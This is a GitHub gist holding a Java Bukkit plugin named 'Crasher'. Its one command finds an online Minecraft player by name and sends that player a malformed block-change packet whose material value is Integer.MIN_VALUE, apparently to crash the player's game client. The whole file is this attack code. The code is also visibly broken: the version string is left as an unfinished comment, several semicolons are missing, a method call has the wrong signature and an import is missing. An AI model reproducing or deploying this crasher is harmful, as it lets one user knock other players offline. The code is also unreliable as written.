Skip to content

Instantly share code, notes, and snippets.

@jwne
Forked from Xyene/Crasher.java
Last active August 29, 2015 14:09
Show Gist options
  • Save jwne/e88fd0f7d325d8ff9e91 to your computer and use it in GitHub Desktop.
Save jwne/e88fd0f7d325d8ff9e91 to your computer and use it in GitHub Desktop.
import java.util.ArrayList;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.plugin.java.JavaPlugin;
public class Crasher extends JavaPlugin {
@Override
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
if (args.length >= 1) {
ArrayList<Player> possibleMatches = new ArrayList<Player>();
for (Player p : getServer().getOnlinePlayers())
if (p.getName().contains(args[0]))
possibleMatches.add(p);
if (possibleMatches.size() > 1) {
sender.sendMessage("I found more than one player with a similar name.");
return true;
} else {
Player p = possibleMatches.get(0);
String ver = // Parse CB version String for something like "v1_4_R1"
Class p53 = Class.forName("net.minecraft.server." + ver + ".Packet53BlockChange");
Object packet = p53.getConstructor().newInstance();
p53.getDeclaredField("a", int.class).set(packet, p.getLocation().getX())
p53.getDeclaredField("b", int.class).set(packet, p.getLocation().getY())
p53.getDeclaredField("c", int.class).set(packet, p.getLocation().getZ())
p53.getDeclaredField("data", int.class).set(packet, 0);
p53.getDeclaredField("material", int.class).set(packet, Integer.MIN_VALUE);
p53.getDeclaredField("lowPriority", boolean.class).set(packet, false);
Object entityPlayer = Class.forName("org.bukkit.craftbukkit." + ver + ".entity.CraftPlayer").getDeclaredMethod("getHandle").invoke(p);
Object playerConnection = entityPlayer.getClass().getDeclaredField("playerConnection").get(entityPlayer);
playerConnection.getClass().getDeclaredMethod("sendPacket", Class.forName("net.minecraft.server." + ver + ".Packet")).invoke(playerConnection, packet);
return true;
}
}
sender.sendMessage(ChatColor.RED + "You must specify a player name!");
return false;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment